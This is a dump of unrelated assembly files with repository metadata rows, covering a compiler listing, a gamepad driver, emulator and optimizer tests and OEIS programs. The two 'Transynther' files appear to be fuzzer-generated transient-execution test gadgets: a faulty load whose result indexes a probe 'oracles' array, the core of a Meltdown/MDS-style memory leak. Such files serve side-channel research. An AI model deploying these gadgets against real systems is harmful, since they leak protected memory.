;*************************************************;
; Data Section
;************************************************;
Msg db "Preparing to load operating system...",13,10,0
| 24.381818
| 55
| 0.446682
|
ef57aa7e813912e724e635f584fee3a7192a5a8e
| 1,060
|
asm
|
Assembly
|
Palmtree.Math.Core.Implements/vs_build/x64_Release/pmc_statistics.asm
|
rougemeilland/Palmtree.Math.Core.Implements
|
52f4f6c765d16c9b0baf1fd212c61a33daae138c
|
[
"MIT"
] | null | null | null |
Palmtree.Math.Core.Implements/vs_build/x64_Release/pmc_statistics.asm
|
rougemeilland/Palmtree.Math.Core.Implements
|
52f4f6c765d16c9b0baf1fd212c61a33daae138c
|
[
"MIT"
] | null | null | null |
Palmtree.Math.Core.Implements/vs_build/x64_Release/pmc_statistics.asm
|
rougemeilland/Palmtree.Math.Core.Implements
|
52f4f6c765d16c9b0baf1fd212c61a33daae138c
|
[
"MIT"
] | null | null | null |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.16.27026.1
include listing.inc
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
_DATA SEGMENT
COMM statistics_info:BYTE:010H
_DATA ENDS
PUBLIC PMC_GetStatisticsInfo
; Function compile flags: /Ogtpy
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_statistics.c
; COMDAT PMC_GetStatisticsInfo
_TEXT SEGMENT
buffer$ = 8
PMC_GetStatisticsInfo PROC ; COMDAT
; 41 : buffer->COUNT_DIV32 = statistics_info.COUNT_DIV32;
mov eax, DWORD PTR statistics_info+12
mov DWORD PTR [rcx+12], eax
; 42 : buffer->COUNT_DIV64 = statistics_info.COUNT_DIV64;
mov eax, DWORD PTR statistics_info+8
mov DWORD PTR [rcx+8], eax
; 43 : buffer->COUNT_MULTI32 = statistics_info.COUNT_MULTI32;
mov eax, DWORD PTR statistics_info+4
mov DWORD PTR [rcx+4], eax
; 44 : buffer->COUNT_MULTI64 = statistics_info.COUNT_MULTI64;
mov eax, DWORD PTR statistics_info
mov DWORD PTR [rcx], eax
; 45 : }
ret 0
PMC_GetStatisticsInfo ENDP
_TEXT ENDS
END
| 23.555556
| 120
| 0.769811
|
97b644090bab3bd80de22baafaaa8f41622133ab
| 3,897
|
asm
|
Assembly
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1238.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1238.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48_notsx.log_21829_1238.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %rax
push %rbp
// Store
lea addresses_RW+0x14d56, %rbp
nop
nop
nop
nop
sub $48660, %r8
movb $0x51, (%rbp)
nop
nop
xor %rbp, %rbp
// Faulty Load
mov $0x1b23990000000ec1, %r8
xor %rax, %rax
mov (%r8), %r11
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_NC', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_RW', 'congruent': 0}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_NC', 'congruent': 0}}
<gen_prepare_buffer>
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 76.411765
| 2,999
| 0.660251
|
9ebb6118bb35f014c6133ef308517f2f6846f032
| 242
|
asm
|
Assembly
|
src/test/resources/data/potests/test29.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 36
|
2020-06-29T06:52:26.000Z
|
2022-02-10T19:41:58.000Z
|
src/test/resources/data/potests/test29.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 39
|
2020-07-02T18:19:34.000Z
|
2022-03-27T18:08:54.000Z
|
src/test/resources/data/potests/test29.asm
|
cpcitor/mdlz80optimizer
|
75070d984e1f08474e6d397c7e0eb66d8be0c432
|
[
"Apache-2.0"
] | 7
|
2020-07-02T06:00:05.000Z
|
2021-11-28T17:31:13.000Z
|
; Test case: test to see if MDL can track the file names / line numbers properly
; when optimizing code form macros defined in another file.
include "test29-include.asm"
ld_val 0
ld_val 1
ld_val 0
end:
jp end
val:
db 0
| 17.285714
| 81
| 0.690083
|
1138bf1004631e5ded0ced6860d87f9d92104761
| 3,641
|
asm
|
Assembly
|
hopesup/src/pads.asm
|
gb-archive/libbet
|
5b099093a22e7241a6405244d301ca5ba08db140
|
[
"Zlib"
] | 28
|
2018-10-09T16:05:19.000Z
|
2022-01-24T17:25:54.000Z
|
hopesup/src/pads.asm
|
ISSOtm/libbet
|
d0cf93b622ddc741e6bc8aa889bf40f1bae69eee
|
[
"Zlib"
] | 15
|
2018-10-21T02:52:18.000Z
|
2021-05-31T01:00:44.000Z
|
hopesup/src/pads.asm
|
ISSOtm/libbet
|
d0cf93b622ddc741e6bc8aa889bf40f1bae69eee
|
[
"Zlib"
] | 3
|
2018-12-19T09:20:50.000Z
|
2021-09-04T12:52:03.000Z
|
;
; SMS and Genesis controller reading for SMS
;
; Copyright 2020 Damian Yerrick
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
;
.include "src/sms.inc"
.ramsection "PadsWRAM" bank 0 slot WRAM0
cur_keys ds 2
new_keys ds 2
is_3button ds 2
.ends
.bank 0
.section "pads" free
.ifdef GAMEGEAR
;;
; Reads the Game Gear's controller, mapping the Start button to
; where it appears on a Genesis
read_pads:
; Read the D-pad and buttons 1 and 2
in a, (JOYLO)
cpl
and $3F
ld l, a
; Mix in the Start button
in a, (0)
cpl
and $80
or l
ld l, a
; Calculate which keys have been pressed since last frame
ld a, [cur_keys+0]
cpl
and l
; Write everything back
ld h, 0
ld [cur_keys], hl
ld l, h
ld [is_3button], hl
ld l, a
ld [new_keys], hl
ret
.else
;;
; Reads controllers 1 and 2 on Master System or Genesis
; including Genesis 3-button controllers
read_pads:
; Load joystick page 0
ld a, JOY_ATRIN|JOY_BTRIN|JOY_ATHHIGH|JOY_BTHHIGH
out (JOYGPIO), A
xor a
ld [is_3button+0], a ; clear 3-button flag while waiting for
ld [is_3button+1], a ; multiplexer in joystick to respond
; Read the first 6 buttons (up, down, left, right, 1/B, 2/C)
in a, (JOYLO)
cpl
ld l, a ; HL=???? ???? DUCB RLDU
in a, (JOYHI)
cpl
and $0F
ld h, a ; HL=0000 CBRL DUCB RLDU
ld a, JOY_ATRIN|JOY_BTRIN|JOY_ATHLOW|JOY_BTHLOW ; Preload page 1
out (JOYGPIO), A
add hl, hl
add hl, hl ; HL=00CB RLDU CBRL DU00
srl l
srl l ; HL=00CB RLDU 00CB RLDU
; Read Genesis extra buttons (A and Start) if they exist
; Right+Left both pressed means bits 5-4 are Start/A instead of C/B
; Handle player 1
in a, (JOYLO) ; A=~DUSA33DU
ld c, a
and $0C
jr nz, @port1_not_3button
cpl
ld [is_3button+0], a
xor c ; A= DUSA33DU
add a ; A= USA33DU0
add a ; A= SA33DU00
and $C0 ; A= SA000000
or l ; A= SACBRLDU
ld l, a
@port1_not_3button:
; Handle player 2
in a, (JOYHI) ; A=~XXXXSA33
ld c, a
and $03
jr nz, @port2_not_3button
cpl
ld [is_3button+1], a
xor c ; A= XXXXSA33
add a ; A= XXXSA330
add a ; A= XXSA3300
add a ; A= XSA33000
add a ; A= SA330000
and $C0 ; A= SA000000
or h ; A= SACBRLDU
ld h, a
@port2_not_3button:
; Treat Pause as the Genesis/Game Gear Start button
ld a, [pause_pressed]
or a
jr z, @pause_not_pressed
dec a
ld [pause_pressed], a
set 7, l
@pause_not_pressed:
ld a, JOY_ATRIN|JOY_BTRIN|JOY_ATHHIGH|JOY_BTHHIGH ; Back to page 0
out (JOYGPIO), A
; Calculate which keys have been pressed since last frame
ld a, [cur_keys+0]
cpl
and l
ld [new_keys+0], a
ld a, [cur_keys+1]
cpl
and h
ld [new_keys+1], a
ld [cur_keys], hl
ret
.endif
.ends
| 23.191083
| 76
| 0.654765
|
dd85e0fd4f165a0bf739ab8663e8166180e2b98d
| 734
|
asm
|
Assembly
|
tb/tprog/asm/test.srav.asm
|
mshaklunov/mips_onemore
|
b52b01f4d3bf458285b610aafd700d23e8c7f676
|
[
"MIT"
] | null | null | null |
tb/tprog/asm/test.srav.asm
|
mshaklunov/mips_onemore
|
b52b01f4d3bf458285b610aafd700d23e8c7f676
|
[
"MIT"
] | null | null | null |
tb/tprog/asm/test.srav.asm
|
mshaklunov/mips_onemore
|
b52b01f4d3bf458285b610aafd700d23e8c7f676
|
[
"MIT"
] | null | null | null |
#SRAV INSTRUCTION
#RUN ALL SHIFTING MODES (0-31)
#EACH RESULT'S BIT GO THROUGH 0 AND 1
#1 SIGNED BIT IS ZERO
lui $1 0x7FFF
ori $1 0xFFFF
lui $2 0x7FFF
ori $2 0xFFFF
lui $4 0x0000
ori $4 0
lui $5 0x0000
ori $5 31
srav_loopa:
srav $3 $1 $4
bne $3 $2 fail
sll $0 $0 0
beq $4 $5 srav_enda
addi $4 $4 1
srl $2 $2 1
j srav_loopa
srav_enda:
sll $0 $0 0
#2 SIGNED BIT IS ONE
lui $1 0x8000
ori $1 0x0000
lui $2 0x8000
ori $2 0x0000
lui $4 0x0000
ori $4 0
lui $5 0x0000
ori $5 31
lui $6 0x8000
ori $6 0x0000
srav_loopb:
srav $3 $1 $4
bne $3 $2 fail
sll $0 $0 0
beq $4 $5 srav_endb
addi $4 $4 1
srl $2 $2 1
add $2 $2 $6
j srav_loopb
srav_endb:
sll $0 $0 0
| 13.849057
| 37
| 0.591281
|
a0aeb75b427dcc6a3fc7a7988df85ee6edf88ac0
| 612
|
asm
|
Assembly
|
untested/ARM/lcmArray.asm
|
GabrielRavier/Generic-Assembly-Samples
|
fbf803960a14307b7fce0165058d0d4048abaf42
|
[
"Unlicense"
] | null | null | null |
untested/ARM/lcmArray.asm
|
GabrielRavier/Generic-Assembly-Samples
|
fbf803960a14307b7fce0165058d0d4048abaf42
|
[
"Unlicense"
] | null | null | null |
untested/ARM/lcmArray.asm
|
GabrielRavier/Generic-Assembly-Samples
|
fbf803960a14307b7fce0165058d0d4048abaf42
|
[
"Unlicense"
] | null | null | null |
code32
format ELF
public _lcmArray
section '.text' executable align 16
_lcmArray: ; Requires armv7ve
cmp r1, #1
ldr r2, [r0]
ble .return
str lr, [sp, #-4]
add lr, r0, r1, lsl #2
add r0, r0, #4
.loop:
ldr r1, [r0], #4
cmp r2, #0
mul ip, r2, r1
bne .startGcdLoop
b .check
.gcdLoop:
mov r2, r3
.startGcdLoop:
sdiv r3, r1, r2
mls r3, r2, r3, r1
mov r1, r2
cmp r3, #0
bne .gcdLoop
cmp r0, lr
sdiv r2, ip, r2
bne .loop
.return2:
mov r0, r2
ldr pc, [sp], #4
.check:
cmp r0, lr
mov r2, r1
sdiv r2, ip, r2
bne .loop
b .return2
.return:
mov r0, r2
bx lr
| 11.127273
| 35
| 0.584967
|
0aa04f998123982bb92224301780de2c8871996a
| 690
|
asm
|
Assembly
|
unittests/ASM/OpSize/66_6E.asm
|
woachk/FEX
|
66dc5ebc54f3ff9b51eed714eb37bff34a0a82e6
|
[
"MIT"
] | 1
|
2020-05-24T22:00:46.000Z
|
2020-05-24T22:00:46.000Z
|
unittests/ASM/OpSize/66_6E.asm
|
Sonicadvance1/FEX
|
d84b536c4a2f785870a714bd5ed9f914dff735a3
|
[
"MIT"
] | null | null | null |
unittests/ASM/OpSize/66_6E.asm
|
Sonicadvance1/FEX
|
d84b536c4a2f785870a714bd5ed9f914dff735a3
|
[
"MIT"
] | null | null | null |
%ifdef CONFIG
{
"RegData": {
"XMM0": ["0x45464748", "0x0"],
"XMM1": ["0x5152535455565758", "0x0"]
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov rdx, 0xe0000000
mov rax, 0x4142434445464748
mov [rdx + 8 * 0], rax
mov rax, 0x5152535455565758
mov [rdx + 8 * 1], rax
mov rax, 0x6162636465666768
mov [rdx + 8 * 2], rax
mov rax, 0x7172737475767778
mov [rdx + 8 * 3], rax
mov rax, 0x0
mov [rdx + 8 * 4], rax
mov [rdx + 8 * 5], rax
movaps xmm2, [rdx + 8 * 2]
movaps xmm3, [rdx + 8 * 3]
movd xmm0, dword [rdx + 8 * 0]
; AMD's Architecture programmer's manual claims this mnemonic is still movd, but compilers only accept movq
movq xmm1, qword [rdx + 8 * 1]
hlt
| 19.166667
| 107
| 0.633333
|
c38945cf51a3d1b31f4e1dc11f24495f874cba1c
| 3,551
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_717_142.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_717_142.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_717_142.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xc3b9, %rsi
lea addresses_D_ht+0x1ce40, %rdi
nop
cmp $48226, %rbp
mov $106, %rcx
rep movsw
and %r9, %r9
lea addresses_A_ht+0x15458, %r15
nop
nop
nop
nop
nop
cmp $31877, %rdx
mov (%r15), %edi
nop
nop
nop
nop
add $62220, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r9
push %rax
push %rbx
push %rcx
// Faulty Load
lea addresses_WT+0x13b20, %rbx
nop
nop
nop
add %rcx, %rcx
vmovups (%rbx), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r11
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'00': 717}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 43.839506
| 2,150
| 0.661504
|
c3b2086363f21599e894802ff158e992a6d5bd0c
| 214
|
asm
|
Assembly
|
programs/oeis/052/A052898.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/052/A052898.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/052/A052898.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A052898: 2*n! + 1.
; 3,3,5,13,49,241,1441,10081,80641,725761,7257601,79833601,958003201,12454041601,174356582401,2615348736001,41845579776001,711374856192001,12804747411456001
mov $1,$0
fac $1
mul $1,2
add $1,1
| 26.75
| 156
| 0.771028
|
df6df1b800d68548fa1c15e7b7817f07d1efde1b
| 352
|
asm
|
Assembly
|
libsrc/graphics/zx81/udg/clsgraph.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/graphics/zx81/udg/clsgraph.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
libsrc/graphics/zx81/udg/clsgraph.asm
|
meesokim/z88dk
|
5763c7778f19a71d936b3200374059d267066bb2
|
[
"ClArtistic"
] | null | null | null |
;
; ZX81 pseudo graphics routines
;
; cls () -- clear screen
;
; Stefano Bodrato - 2014
;
;
; $Id: clsgraph.asm,v 1.2 2015/01/23 07:07:31 stefano Exp $
;
PUBLIC cleargraphics
;EXTERN loadudg6
EXTERN filltxt
;EXTERN base_graphics
INCLUDE "graphics/grafix.inc"
.cleargraphics
ld l,0
jp filltxt
| 14.08
| 65
| 0.605114
|
1d970e06dc1fc9e4d1bb84bec6bf894fb189d75d
| 485
|
asm
|
Assembly
|
programs/oeis/065/A065262.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/065/A065262.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/065/A065262.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A065262: The nonpositive side (-1, -2, -3, ...) of the site swap sequence A065261. The bisection of odd terms of A065261.
; 1,1,5,2,9,3,13,4,17,5,21,6,25,7,29,8,33,9,37,10,41,11,45,12,49,13,53,14,57,15,61,16,65,17,69,18,73,19,77,20,81,21,85,22,89,23,93,24,97,25,101,26,105,27,109,28,113,29,117,30,121,31,125,32,129,33,133,34,137,35,141,36,145,37,149,38,153,39,157,40,161,41,165,42,169,43,173,44,177,45,181,46,185,47,189,48,193,49,197,50
mul $0,6
add $0,2
dif $0,4
div $0,3
add $0,1
| 53.888889
| 314
| 0.670103
|
28393f7c77e1257fa505caf20dd9023e545dfc4c
| 314
|
asm
|
Assembly
|
oeis/101/A101356.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/101/A101356.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/101/A101356.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A101356: Binomial( 2*binomial(2*n,n-1),n-1).
; Submitted by Jon Maiga
; 1,8,435,227920,1278098745,82575323184816,65027115220581214701,650673256738362079479972000,85317908524399246240116500743559745,150076667939221169116862871933576383129271760
mov $1,$0
add $1,1
mul $1,2
bin $1,$0
mul $1,2
bin $1,$0
mov $0,$1
| 26.166667
| 173
| 0.783439
|
18a2789cf81538453cd27548899b3f5ec2ac7160
| 626
|
asm
|
Assembly
|
oeis/212/A212695.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/212/A212695.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/212/A212695.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A212695: Decimal expansion of the uniform exponent of simultaneous approximation of Q-linearly independent triples (1,x,x^3) by rational numbers.
; Submitted by Christian Krause
; 3,5,1,9,0,3,5,6,5,4,3,8,7,2,5,7,0,9,9,7,4,7,1,2,3,6,3,9,0,4,8,7,6,7,6,2,3,9,7,9,1,6,8,1,5,5,8,8,2,6,7,2,4,5,6,3,0,2,4,8,0,6,1,3,1,7,6,1,3,8,4,6,9,3,1,6,8,6,9,6,7,0,4,8,8,2,4,0,9,7,1,1,7,9,5,1,1,6,1,4
mov $1,-7
mov $3,$0
mul $3,4
lpb $3
mov $2,$1
add $1,$6
add $2,$1
mov $5,$1
mul $1,2
mul $2,2
sub $3,1
add $5,$2
add $6,$5
lpe
div $2,2
mov $4,10
pow $4,$0
div $2,$4
cmp $5,0
add $2,$5
div $1,$2
mov $0,$1
add $0,10
mod $0,10
| 21.586207
| 201
| 0.584665
|
e43f69d219a2e7e449fcd90d696493e8950169db
| 1,578
|
asm
|
Assembly
|
programs/oeis/175/A175780.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/175/A175780.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
